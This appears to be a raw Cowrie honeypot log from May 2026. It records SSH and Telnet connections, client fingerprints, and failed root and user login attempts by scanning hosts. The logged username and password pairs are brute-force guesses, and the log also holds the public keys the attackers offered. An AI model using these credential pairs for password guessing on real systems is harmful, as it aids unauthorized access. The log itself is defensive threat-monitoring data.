{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:45.374465Z","src_ip":"43.156.96.97","session":"b80df6fcd707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53466,"dst_ip":"159.203.135.109","dst_port":22,"session":"e28d011fb7a1","protocol":"ssh","message":"New connection: 31.40.204.166:53466 (159.203.135.109:22) [session: e28d011fb7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:46.223963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:46.228115Z","src_ip":"31.40.204.166","session":"e28d011fb7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:46.389518Z","src_ip":"31.40.204.166","session":"e28d011fb7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:47.116392Z","src_ip":"31.40.204.166","session":"e28d011fb7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.806477546691895,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:47.174589Z","src_ip":"152.42.224.71","session":"76838350b62f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":42524,"dst_ip":"10.17.0.5","dst_port":22,"session":"c731c4fba444","protocol":"ssh","message":"New connection: 81.9.145.130:42524 (10.17.0.5:22) [session: c731c4fba444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:47.322106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:47.326455Z","src_ip":"81.9.145.130","session":"c731c4fba444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:47.438866Z","src_ip":"81.9.145.130","session":"c731c4fba444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47364,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae21e99b872a","protocol":"telnet","message":"New connection: 152.42.224.71:47364 (10.17.0.5:23) [session: ae21e99b872a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:47.476421Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@2019","message":"login attempt [root/Test@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:47.917343Z","src_ip":"81.9.145.130","session":"c731c4fba444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:48.303662Z","src_ip":"31.40.204.166","session":"e28d011fb7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47372,"dst_ip":"10.17.0.5","dst_port":23,"session":"c03437932ef6","protocol":"telnet","message":"New connection: 152.42.224.71:47372 (10.17.0.5:23) [session: c03437932ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:48.726270Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:49.035997Z","src_ip":"81.9.145.130","session":"c731c4fba444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47374,"dst_ip":"10.17.0.5","dst_port":23,"session":"8921a51be120","protocol":"telnet","message":"New connection: 152.42.224.71:47374 (10.17.0.5:23) [session: 8921a51be120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:51.157599Z"}
{"eventid":"cowrie.session.closed","duration":41.428773403167725,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:51.187135Z","src_ip":"152.42.224.71","session":"9ff796e5969a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":33416,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb014e87affa","protocol":"ssh","message":"New connection: 103.91.246.101:33416 (10.17.0.5:22) [session: eb014e87affa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:53.782349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:53.787005Z","src_ip":"103.91.246.101","session":"eb014e87affa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:54.007852Z","src_ip":"103.91.246.101","session":"eb014e87affa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unM8saRA","message":"login attempt [root/unM8saRA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:54.911658Z","src_ip":"103.91.246.101","session":"eb014e87affa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:56.133763Z","src_ip":"103.91.246.101","session":"eb014e87affa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45576,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c7e19fb71b","protocol":"ssh","message":"New connection: 31.40.204.166:45576 (159.203.135.109:22) [session: f6c7e19fb71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:58.485452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:58.513033Z","src_ip":"31.40.204.166","session":"f6c7e19fb71b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:58.615583Z","src_ip":"31.40.204.166","session":"f6c7e19fb71b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.265235424041748,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:59.078465Z","src_ip":"152.42.224.71","session":"5e58f5af6090","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:59.620742Z","src_ip":"31.40.204.166","session":"f6c7e19fb71b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.61402988433838,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:59.691034Z","src_ip":"49.88.156.34","session":"c81742fa0662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:00.808314Z","src_ip":"31.40.204.166","session":"f6c7e19fb71b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35106,"dst_ip":"10.17.0.5","dst_port":23,"session":"62cf1cd7b70d","protocol":"telnet","message":"New connection: 152.42.224.71:35106 (10.17.0.5:23) [session: 62cf1cd7b70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:00.913568Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.37.202","src_port":58186,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca85a29c9d75","protocol":"ssh","message":"New connection: 104.243.37.202:58186 (10.17.0.5:22) [session: ca85a29c9d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.882936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.888049Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.896523Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:ee:d0:11:0f:3f:c7:fd:50:e7:32:2b:55:f9:93:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzFgwuI+MLt5A1KiGG8/H9A8ZYbhwB7rsnNtrU7DhwW/FOYFQYMr4h7bXcERbfs4CLW3lYTriDcPuBRuSakFxErI/ysZ5EJmhx3Z4O1UVo0hPH5wsy3tSwiM7LMjMjhOSNmsUUug7A1dNOdwarA+7RogLsK7+uowl5VGArH4R9/Am3NPBGLnSUuQiH9Mfjuf3trsALNtLN6wr+4xQ9Br7U+rR4XhCXRadoBVD7Ym6NHWJXAsSywM0o//S4c0hp3WXeC91ZsJYcgaoo9YkmZNj22httHx2MWPd6y970LtnCCU32LyUByyXDgIgbDJj/fpSQkK3fuOL1MSSWMiAq7MF9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:ee:d0:11:0f:3f:c7:fd:50:e7:32:2b:55:f9:93:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.917681Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:ee:d0:11:0f:3f:c7:fd:50:e7:32:2b:55:f9:93:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzFgwuI+MLt5A1KiGG8/H9A8ZYbhwB7rsnNtrU7DhwW/FOYFQYMr4h7bXcERbfs4CLW3lYTriDcPuBRuSakFxErI/ysZ5EJmhx3Z4O1UVo0hPH5wsy3tSwiM7LMjMjhOSNmsUUug7A1dNOdwarA+7RogLsK7+uowl5VGArH4R9/Am3NPBGLnSUuQiH9Mfjuf3trsALNtLN6wr+4xQ9Br7U+rR4XhCXRadoBVD7Ym6NHWJXAsSywM0o//S4c0hp3WXeC91ZsJYcgaoo9YkmZNj22httHx2MWPd6y970LtnCCU32LyUByyXDgIgbDJj/fpSQkK3fuOL1MSSWMiAq7MF9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.921835Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:28:f7:56:b9:99:83:ce:d1:1d:94:85:b2:24:80:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnGbjDz5/mltWLND7051kLhUfHNIPKa7FizrYek7S4dAo8dsvvjD0rsAfxn2KUhSQJT8HGu5gr2liRhIweLblJ4kvMShg0HVmtXGMCFeOkxJ/GJdp/9ELdilbn7uAZb8UehL2MXAOjXKS6duL775YgzPg8bMQWSb8Pxg07YDP6YS34ROZYPZ1zFIvbooqo2bY7EP/4U8LqgbYRvUlWm8vNR9+tnyEb+r7ehCOH9H2RoSRej4rz87Jf32u1fBQxR84kx6eo0izXvchfnqy76zuhZv/PoZh1iREc8T3gtb5U1axre6gUPwXC7xG6EW7Ob84T0ut6elUirdww7Ad46cCmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:28:f7:56:b9:99:83:ce:d1:1d:94:85:b2:24:80:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.931351Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:28:f7:56:b9:99:83:ce:d1:1d:94:85:b2:24:80:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnGbjDz5/mltWLND7051kLhUfHNIPKa7FizrYek7S4dAo8dsvvjD0rsAfxn2KUhSQJT8HGu5gr2liRhIweLblJ4kvMShg0HVmtXGMCFeOkxJ/GJdp/9ELdilbn7uAZb8UehL2MXAOjXKS6duL775YgzPg8bMQWSb8Pxg07YDP6YS34ROZYPZ1zFIvbooqo2bY7EP/4U8LqgbYRvUlWm8vNR9+tnyEb+r7ehCOH9H2RoSRej4rz87Jf32u1fBQxR84kx6eo0izXvchfnqy76zuhZv/PoZh1iREc8T3gtb5U1axre6gUPwXC7xG6EW7Ob84T0ut6elUirdww7Ad46cCmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.935208Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:f6:f3:b8:e3:be:d8:a7:f7:4c:ee:01:2f:53:92:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtzOBRaEOOnqzuH7gfdsrqvbfRqhZlHtBjr0E/T5UlxYYDGxwhslgz5h8GvTJKrRCrTCwA1SijIT7mPsV4j32fZj7vQ2zA46Acag31zp89nfEJiFKBXbGWMm63GamFfOkjmih6ZkKqW1XBpAgim0oyKeE+PSy6y3ZEVLCWARfpUOfvJTvK115BU3/EU8JB2BwJWXyIjvnuU1K8+ceCxWC4phEUULM99uWsuAi4zo8jo/yxHTpOaez7NKD5nfuhv6ETOD+r2ABBSL0Q0IVxY3IvEDoDb6kLJs8wSC66RDwTIinU8eVZ4oJdg3Em5SFmhaaiYbrohplDNI1bsDj6HO2ww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:f6:f3:b8:e3:be:d8:a7:f7:4c:ee:01:2f:53:92:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.951228Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:f6:f3:b8:e3:be:d8:a7:f7:4c:ee:01:2f:53:92:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtzOBRaEOOnqzuH7gfdsrqvbfRqhZlHtBjr0E/T5UlxYYDGxwhslgz5h8GvTJKrRCrTCwA1SijIT7mPsV4j32fZj7vQ2zA46Acag31zp89nfEJiFKBXbGWMm63GamFfOkjmih6ZkKqW1XBpAgim0oyKeE+PSy6y3ZEVLCWARfpUOfvJTvK115BU3/EU8JB2BwJWXyIjvnuU1K8+ceCxWC4phEUULM99uWsuAi4zo8jo/yxHTpOaez7NKD5nfuhv6ETOD+r2ABBSL0Q0IVxY3IvEDoDb6kLJs8wSC66RDwTIinU8eVZ4oJdg3Em5SFmhaaiYbrohplDNI1bsDj6HO2ww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.955346Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:35:bd:5f:20:a6:3c:9c:cc:e9:81:4e:b4:49:f5:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArrC+oNF8WtIv2VWx7sOXZ/DG0fN8/w8AbXoRTUf2W0u8cdULUOaR9DmJd0MA2glu3w+i+Z2HDR/9gAWEj1rgI2WxqYrVrUf0EQxAMkoQSAMnyES98nKgb3TwbzwJEHxl3lTo4CRy7+5WUbpUQ3vm2lYFjs+M7Qpw4vDRhplbyZLcK16u8MsXx9epp8bR/g0QqOu1hmXQYaiVbROwzEJdonwhugr9S1kdbFLOKWk9dJqNZsAGnrco1IxWKlLY27HeupxDqBx5ss/CQh7NDlBdlVe1r6ObKGZacxtM2bV0Fn7G+/R+W+sgeVsb3+/2EzxenTkZVOa2cVRc0P+OUQZppw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:35:bd:5f:20:a6:3c:9c:cc:e9:81:4e:b4:49:f5:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:01.965196Z","src_ip":"104.243.37.202","session":"ca85a29c9d75","protocol":"ssh"}
